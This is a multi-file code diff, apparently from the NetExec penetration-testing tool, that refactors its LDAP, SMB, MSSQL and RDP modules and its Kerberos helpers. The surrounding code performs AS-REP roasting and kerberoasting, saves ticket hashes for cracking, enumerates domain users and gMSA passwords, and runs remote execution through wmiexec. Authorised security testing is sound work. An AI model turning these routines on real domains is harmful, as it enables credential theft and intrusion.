elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = int(attribute["vals"][0])
|
||||
account_disabled = userAccountControl & 2
|
||||
if not account_disabled:
|
||||
self.logger.highlight(f"{sAMAccountName}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
|
||||
for arguser in argsusers:
|
||||
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
|
||||
if pwd_last_set: # Checks if pwdLastSet is empty or not.
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
|
||||
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() in activeusers):
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
|
||||
def asreproast(self):
|
||||
if self.password == "" and self.nthash == "" and self.kerberos is False:
|
||||
@@ -872,7 +895,7 @@ class ldap(connection):
|
||||
"lastLogon",
|
||||
]
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
if resp == []:
|
||||
if resp is None:
|
||||
self.logger.highlight("No entries found!")
|
||||
elif resp:
|
||||
answers = []
|
||||
@@ -916,10 +939,10 @@ class ldap(connection):
|
||||
if len(answers) > 0:
|
||||
for user in answers:
|
||||
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
|
||||
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
|
||||
self.logger.highlight(f"{hash_TGT}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_TGT + "\n")
|
||||
if hash_TGT:
|
||||
self.logger.highlight(f"{hash_TGT}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(f"{hash_TGT}\n")
|
||||
return True
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
@@ -928,7 +951,7 @@ class ldap(connection):
|
||||
|
||||
def kerberoasting(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
|
||||
attributes = [
|
||||
"servicePrincipalName",
|
||||
"sAMAccountName",
|
||||
@@ -979,7 +1002,7 @@ class ldap(connection):
|
||||
|
||||
if mustCommit is True:
|
||||
if int(userAccountControl) & UF_ACCOUNTDISABLE:
|
||||
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
|
||||
self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
|
||||
else:
|
||||
answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
|
||||
except Exception as e:
|
||||
@@ -1375,15 +1398,18 @@ class ldap(connection):
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp=timestamp,
|
||||
fileNamePrefix=self.output_filename.split("/")[-1],
|
||||
computerfile=None,
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
)
|
||||
|
||||
self.output_filename += f"_{timestamp}"
|
||||
|
||||
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
|
||||
list_of_files = os.listdir(os.getcwd())
|
||||
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
|
||||
for each_file in list_of_files:
|
||||
if each_file.startswith(timestamp) and each_file.endswith("json"):
|
||||
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
|
||||
z.write(each_file)
|
||||
os.remove(each_file)
|
||||
@@ -44,17 +44,7 @@ class BloodHound:
|
||||
# Create an object resolver
|
||||
self.ad.create_objectresolver(self.pdc)
|
||||
|
||||
|
||||
def run(
|
||||
self,
|
||||
collect,
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp="",
|
||||
computerfile="",
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
):
|
||||
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
|
||||
start_time = time.time()
|
||||
if cachefile:
|
||||
self.ad.load_cachefile(cachefile)
|
||||
@@ -82,7 +72,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
elif "container" in collect:
|
||||
# Fetch domains for later, computers if needed
|
||||
self.pdc.prefetch_info(
|
||||
@@ -92,7 +82,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.do_container_collection(timestamp=timestamp)
|
||||
membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
elif do_computer_enum:
|
||||
# We need to know which computers to query regardless
|
||||
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
|
||||
@@ -102,7 +92,7 @@ class BloodHound:
|
||||
self.pdc.get_domains("acl" in collect)
|
||||
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
|
||||
trusts_enum = DomainEnumerator(self.ad, self.pdc)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
if do_computer_enum:
|
||||
# If we don't have a GC server, don't use it for deconflictation
|
||||
have_gc = len(self.ad.gcs()) > 0
|
||||
@@ -114,7 +104,7 @@ class BloodHound:
|
||||
computerfile=computerfile,
|
||||
exclude_dcs=exclude_dcs,
|
||||
)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
end_time = time.time()
|
||||
minutes, seconds = divmod(int(end_time - start_time), 60)
|
||||
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
|
||||
@@ -54,7 +54,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
import random
|
||||
from binascii import hexlify, unhexlify
|
||||
from datetime import datetime, timedelta
|
||||
import traceback
|
||||
try:
|
||||
# This is only available in python >= 3.11
|
||||
# if we are in a lower version, we will use the deprecated utcnow() method
|
||||
from datetime import UTC
|
||||
utc_failed = False
|
||||
except ImportError:
|
||||
utc_failed = True
|
||||
from os import getenv
|
||||
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import (
|
||||
TGS_REP,
|
||||
AS_REQ,
|
||||
KERB_PA_PAC_REQUEST,
|
||||
KRB_ERROR,
|
||||
AS_REP,
|
||||
seq_set,
|
||||
seq_set_iter,
|
||||
)
|
||||
from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
|
||||
from impacket.krb5.types import KerberosTime, Principal
|
||||
@@ -211,7 +211,8 @@ class KerberosAttacks:
|
||||
return None
|
||||
|
||||
req_body["realm"] = domain
|
||||
now = datetime.utcnow() + timedelta(days=1)
|
||||
# When we drop python 3.10 support utcnow() can be removed, as it is deprecated
|
||||
now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
|
||||
req_body["till"] = KerberosTime.to_asn1(now)
|
||||
req_body["rtime"] = KerberosTime.to_asn1(now)
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
@@ -235,10 +236,11 @@ class KerberosAttacks:
|
||||
message = encoder.encode(as_req)
|
||||
r = sendReceive(message, domain, self.kdcHost)
|
||||
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
|
||||
return "Password of user " + userName + " expired but user doesn't require pre-auth"
|
||||
return f"Password of user {userName} expired but user doesn't require pre-auth"
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
nxc_logger.fail(e)
|
||||
nxc_logger.debug(traceback.format_exc())
|
||||
return None
|
||||
|
||||
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
|
||||
# 'Do not require Kerberos preauthentication' set
|
||||
|
||||
@@ -323,8 +323,8 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
domain[0],
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
self.args.kerberos,
|
||||
self.args.kdcHost,
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339
|
||||
)
|
||||
try:
|
||||
|
||||
@@ -1,16 +1,12 @@
|
||||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
|
||||
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
||||
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
|
||||
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
@@ -20,11 +16,11 @@ def proto_args(parser, std_parser, module_parser):
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
|
||||
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
|
||||
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
|
||||
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
|
||||
|
||||
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
|
||||
@@ -36,19 +32,4 @@ def proto_args(parser, std_parser, module_parser):
|
||||
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
|
||||
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
return parser
|
||||
+15
-15
@@ -31,7 +31,8 @@ from impacket.tds import (
|
||||
class mssql(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.mssql_instances = []
|
||||
self.domain = None
|
||||
self.domain = ""
|
||||
self.targetDomain = ""
|
||||
self.server_os = None
|
||||
self.hash = None
|
||||
self.os_arch = None
|
||||
@@ -52,7 +53,7 @@ class mssql(connection):
|
||||
|
||||
def create_conn_obj(self):
|
||||
try:
|
||||
self.conn = tds.MSSQL(self.host, self.port)
|
||||
self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
|
||||
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
|
||||
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
|
||||
sock = socket.socket(af, socktype, proto)
|
||||
@@ -72,9 +73,6 @@ class mssql(connection):
|
||||
def wrapper(self, *args, **kwargs):
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
# When using ccache file, we must need to set target host to hostname when creating connection object.
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
self.create_conn_obj()
|
||||
return func(self, *args, **kwargs)
|
||||
return wrapper
|
||||
@@ -122,23 +120,26 @@ class mssql(connection):
|
||||
return False
|
||||
else:
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances),)
|
||||
self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
if self.domain is None:
|
||||
self.domain = ""
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return True
|
||||
|
||||
@reconnect_mssql
|
||||
@@ -173,7 +174,6 @@ class mssql(connection):
|
||||
self.username = username
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
|
||||
try:
|
||||
res = self.conn.kerberosLogin(
|
||||
None,
|
||||
@@ -189,7 +189,7 @@ class mssql(connection):
|
||||
raise
|
||||
self.check_if_admin()
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
@@ -222,7 +222,7 @@ class mssql(connection):
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
@@ -261,7 +261,7 @@ class mssql(connection):
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
|
||||
@@ -77,7 +77,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+21
-5
@@ -150,10 +150,16 @@ class rdp(connection):
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
self.target = RDPTarget(
|
||||
ip=self.host,
|
||||
hostname=self.hostname,
|
||||
@@ -220,7 +226,17 @@ class rdp(connection):
|
||||
else:
|
||||
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
|
||||
|
||||
kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
|
||||
kerberos_target = UniTarget(
|
||||
self.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
timeout=self.args.rdp_timeout,
|
||||
hostname=self.remoteName,
|
||||
dc_ip=self.kdcHost,
|
||||
domain=self.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
self.auth = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=password,
|
||||
@@ -243,7 +259,7 @@ class rdp(connection):
|
||||
self.mark_pwned(),
|
||||
)
|
||||
)
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -289,7 +305,7 @@ class rdp(connection):
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -323,7 +339,7 @@ class rdp(connection):
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
@@ -57,7 +57,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+93
-62
@@ -211,8 +211,23 @@ class smb(connection):
|
||||
# no ntlm supported
|
||||
self.no_ntlm = True
|
||||
|
||||
self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
|
||||
self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
if not self.no_ntlm:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.hostname
|
||||
|
||||
self.domain = self.targetDomain if not self.args.domain else self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
self.targetDomain = self.hostname
|
||||
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
@@ -227,9 +242,6 @@ class smb(connection):
|
||||
self.os_arch = self.get_os_arch()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
@@ -244,24 +256,26 @@ class smb(connection):
|
||||
self.conn.logoff()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error logging off system: {e}")
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
def print_host_info(self):
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
logging.getLogger("impacket").disabled = True
|
||||
# Re-connect since we logged off
|
||||
kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
|
||||
self.logger.debug(f"KDC set to: {kdc_host}")
|
||||
self.create_conn_obj(kdc_host)
|
||||
self.logger.debug(f"KDC set to: {kdcHost}")
|
||||
self.create_conn_obj()
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
@@ -309,7 +323,7 @@ class smb(connection):
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and not self.args.delegate:
|
||||
if not self.args.local_auth and self.username != "" and not self.args.delegate:
|
||||
add_user_bh(self.username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -372,7 +386,7 @@ class smb(connection):
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
|
||||
@@ -439,7 +453,7 @@ class smb(connection):
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
|
||||
@@ -468,11 +482,11 @@ class smb(connection):
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self, kdc=""):
|
||||
def create_smbv1_conn(self):
|
||||
try:
|
||||
self.conn = SMBConnection(
|
||||
kdc if kdc else self.host,
|
||||
kdc if kdc else self.host,
|
||||
self.remoteName,
|
||||
self.host,
|
||||
None,
|
||||
self.port,
|
||||
preferredDialect=SMB_DIALECT,
|
||||
@@ -481,19 +495,19 @@ class smb(connection):
|
||||
self.smbv1 = True
|
||||
except OSError as e:
|
||||
if str(e).find("Connection reset by peer") != -1:
|
||||
self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
|
||||
self.logger.info(f"SMBv1 might be disabled on {self.host}")
|
||||
return False
|
||||
except (Exception, NetBIOSTimeout) as e:
|
||||
self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
|
||||
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def create_smbv3_conn(self, kdc=""):
|
||||
def create_smbv3_conn(self):
|
||||
try:
|
||||
self.conn = SMBConnection(
|
||||
kdc if kdc else self.host,
|
||||
kdc if kdc else self.host,
|
||||
self.remoteName,
|
||||
self.host,
|
||||
None,
|
||||
self.port,
|
||||
timeout=self.args.smb_timeout,
|
||||
@@ -505,15 +519,15 @@ class smb(connection):
|
||||
if not self.logger:
|
||||
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
|
||||
self.proto_logger()
|
||||
self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
|
||||
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
|
||||
return False
|
||||
except (Exception, NetBIOSTimeout) as e:
|
||||
self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
|
||||
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
|
||||
return False
|
||||
return True
|
||||
|
||||
def create_conn_obj(self, kdc_host=None):
|
||||
return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
|
||||
def create_conn_obj(self):
|
||||
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
|
||||
|
||||
def check_if_admin(self):
|
||||
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
|
||||
@@ -557,7 +571,7 @@ class smb(connection):
|
||||
if method == "wmiexec":
|
||||
try:
|
||||
exec_method = WMIEXEC(
|
||||
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||
self.remoteName,
|
||||
self.smb_share_name,
|
||||
self.username,
|
||||
self.password,
|
||||
@@ -566,6 +580,7 @@ class smb(connection):
|
||||
self.kerberos,
|
||||
self.aesKey,
|
||||
self.kdcHost,
|
||||
self.host,
|
||||
self.hash,
|
||||
self.args.share,
|
||||
logger=self.logger,
|
||||
